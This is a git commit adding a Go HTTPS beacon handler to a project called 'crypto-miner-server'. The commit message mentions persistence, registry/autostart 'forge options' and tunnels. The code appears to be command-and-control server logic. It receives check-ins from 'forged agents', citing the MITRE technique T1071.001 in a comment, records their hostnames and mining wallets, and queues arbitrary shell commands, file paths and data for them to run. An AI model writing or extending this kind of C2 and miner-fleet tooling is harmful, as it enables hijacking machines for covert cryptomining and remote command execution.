feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
260
server/internal/api/beacon.go
Normal file
260
server/internal/api/beacon.go
Normal file
@@ -0,0 +1,260 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
const beaconReachableWindow = 90 * time.Second
|
||||
|
||||
// BeaconCommand is delivered to agents on HTTPS beacon when WebSocket is down.
|
||||
type BeaconCommand struct {
|
||||
Action string `json:"action"`
|
||||
TailLines int `json:"tail_lines,omitempty"`
|
||||
Command string `json:"command,omitempty"`
|
||||
Path string `json:"path,omitempty"`
|
||||
Data string `json:"data,omitempty"`
|
||||
}
|
||||
|
||||
type beaconRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Stats json.RawMessage `json:"stats,omitempty"`
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
Worker string `json:"worker_name,omitempty"`
|
||||
Version string `json:"version,omitempty"`
|
||||
}
|
||||
|
||||
type beaconResponse struct {
|
||||
OK bool `json:"ok"`
|
||||
Commands []BeaconCommand `json:"commands"`
|
||||
}
|
||||
|
||||
type beaconResultRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Action string `json:"action"`
|
||||
Success bool `json:"success"`
|
||||
Message string `json:"message"`
|
||||
}
|
||||
|
||||
func (h *WSHub) initBeaconMaps() {
|
||||
h.beaconMu.Lock()
|
||||
defer h.beaconMu.Unlock()
|
||||
if h.beaconLastSeen == nil {
|
||||
h.beaconLastSeen = make(map[string]time.Time)
|
||||
}
|
||||
if h.beaconCmdQueue == nil {
|
||||
h.beaconCmdQueue = make(map[string][]BeaconCommand)
|
||||
}
|
||||
}
|
||||
|
||||
// MarkBeaconSeen records a successful HTTPS beacon from an agent.
|
||||
func (h *WSHub) MarkBeaconSeen(agentID string) {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
h.beaconLastSeen[agentID] = time.Now()
|
||||
h.beaconMu.Unlock()
|
||||
}
|
||||
|
||||
// ClearBeaconTransport clears HTTPS-beacon state when the agent reconnects over WebSocket.
|
||||
func (h *WSHub) ClearBeaconTransport(agentID string) {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
delete(h.beaconLastSeen, agentID)
|
||||
delete(h.beaconCmdQueue, agentID)
|
||||
h.beaconMu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) isAgentBeaconReachable(agentID string) bool {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
last, ok := h.beaconLastSeen[agentID]
|
||||
h.beaconMu.Unlock()
|
||||
return ok && time.Since(last) <= beaconReachableWindow
|
||||
}
|
||||
|
||||
// IsAgentReachable returns true if the agent has an active WebSocket or recent HTTPS beacon.
|
||||
func (h *WSHub) IsAgentReachable(agentID string) bool {
|
||||
return h.isAgentConnected(agentID) || h.isAgentBeaconReachable(agentID)
|
||||
}
|
||||
|
||||
// EnqueueBeaconCommand queues a command for HTTPS beacon delivery.
|
||||
func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool {
|
||||
if !h.isAgentBeaconReachable(agentID) {
|
||||
return false
|
||||
}
|
||||
cmd := BeaconCommand{Action: action}
|
||||
if v, ok := args["tail_lines"]; ok {
|
||||
switch n := v.(type) {
|
||||
case int:
|
||||
cmd.TailLines = n
|
||||
case float64:
|
||||
cmd.TailLines = int(n)
|
||||
}
|
||||
}
|
||||
if v, ok := args["command"].(string); ok {
|
||||
cmd.Command = v
|
||||
}
|
||||
if v, ok := args["path"].(string); ok {
|
||||
cmd.Path = v
|
||||
}
|
||||
if v, ok := args["data"].(string); ok {
|
||||
cmd.Data = v
|
||||
}
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
h.beaconCmdQueue[agentID] = append(h.beaconCmdQueue[agentID], cmd)
|
||||
h.beaconMu.Unlock()
|
||||
return true
|
||||
}
|
||||
|
||||
func (h *WSHub) dequeueBeaconCommands(agentID string) []BeaconCommand {
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
cmds := h.beaconCmdQueue[agentID]
|
||||
delete(h.beaconCmdQueue, agentID)
|
||||
h.beaconMu.Unlock()
|
||||
if cmds == nil {
|
||||
return []BeaconCommand{}
|
||||
}
|
||||
return cmds
|
||||
}
|
||||
|
||||
func (h *WSHub) applyBeaconStats(agentID string, statsJSON json.RawMessage) {
|
||||
if h.db == nil || len(statsJSON) == 0 {
|
||||
return
|
||||
}
|
||||
var stats struct {
|
||||
Hashrate15s float64 `json:"hashrate_15s"`
|
||||
Hashrate1m float64 `json:"hashrate_1m"`
|
||||
Hashrate15m float64 `json:"hashrate_15m"`
|
||||
SharesSubmitted int `json:"shares_submitted"`
|
||||
SharesAccepted int `json:"shares_accepted"`
|
||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||
UptimeSeconds int `json:"uptime_seconds"`
|
||||
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||||
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
||||
GPUModel string `json:"gpu_model,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(statsJSON, &stats); err != nil {
|
||||
return
|
||||
}
|
||||
sharesBad := stats.SharesSubmitted - stats.SharesAccepted
|
||||
if sharesBad < 0 {
|
||||
sharesBad = 0
|
||||
}
|
||||
_ = h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
|
||||
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
|
||||
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
|
||||
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
|
||||
_ = h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
|
||||
_ = h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "stats",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"hashrate_15s": stats.Hashrate15s,
|
||||
"hashrate_1m": stats.Hashrate1m,
|
||||
"hashrate_15m": stats.Hashrate15m,
|
||||
"cpu_usage_pct": stats.CPUUsagePct,
|
||||
"memory_usage_pct": stats.MemoryUsagePct,
|
||||
"uptime_seconds": stats.UptimeSeconds,
|
||||
"shares_submitted": stats.SharesSubmitted,
|
||||
"shares_accepted": stats.SharesAccepted,
|
||||
"transport": "https_beacon",
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
// HandleAgentBeacon accepts periodic HTTPS beacons from forged agents (T1071.001 fallback).
|
||||
func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
var req beaconRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
agentID := strings.TrimSpace(req.AgentID)
|
||||
if agentID == "" {
|
||||
http.Error(w, "agent_id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
h.MarkBeaconSeen(agentID)
|
||||
if h.db != nil {
|
||||
if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") {
|
||||
display := req.Hostname
|
||||
if display == "" {
|
||||
display = agentID
|
||||
}
|
||||
_ = h.db.UpsertAgent(&models.Agent{
|
||||
ID: agentID,
|
||||
Name: display,
|
||||
Wallet: req.Wallet,
|
||||
Version: req.Version,
|
||||
Status: "online",
|
||||
})
|
||||
}
|
||||
}
|
||||
h.applyBeaconStats(agentID, req.Stats)
|
||||
cmds := h.dequeueBeaconCommands(agentID)
|
||||
writeJSON(w, beaconResponse{OK: true, Commands: cmds})
|
||||
}
|
||||
|
||||
// HandleAgentBeaconResult receives command results from HTTPS beacon agents.
|
||||
func (h *WSHub) HandleAgentBeaconResult(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
var req beaconResultRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
agentID := strings.TrimSpace(req.AgentID)
|
||||
if agentID == "" || req.Action == "" {
|
||||
http.Error(w, "agent_id and action are required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
h.MarkBeaconSeen(agentID)
|
||||
payload := map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"action": req.Action,
|
||||
"success": req.Success,
|
||||
"message": req.Message,
|
||||
"transport": "https_beacon",
|
||||
}
|
||||
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
|
||||
h.notifyCmdCallback(agentID, req.Action, payload)
|
||||
writeJSON(w, map[string]interface{}{"ok": true})
|
||||
}
|
||||
|
||||
// FlushBeaconCommandsToWS delivers any queued HTTPS commands over a live WebSocket.
|
||||
func (h *WSHub) FlushBeaconCommandsToWS(agentID string) {
|
||||
cmds := h.dequeueBeaconCommands(agentID)
|
||||
for _, cmd := range cmds {
|
||||
args := map[string]interface{}{}
|
||||
if cmd.TailLines > 0 {
|
||||
args["tail_lines"] = cmd.TailLines
|
||||
}
|
||||
if cmd.Command != "" {
|
||||
args["command"] = cmd.Command
|
||||
}
|
||||
if cmd.Path != "" {
|
||||
args["path"] = cmd.Path
|
||||
}
|
||||
if cmd.Data != "" {
|
||||
args["data"] = cmd.Data
|
||||
}
|
||||
_ = h.SendAgentCommand(agentID, cmd.Action, args)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user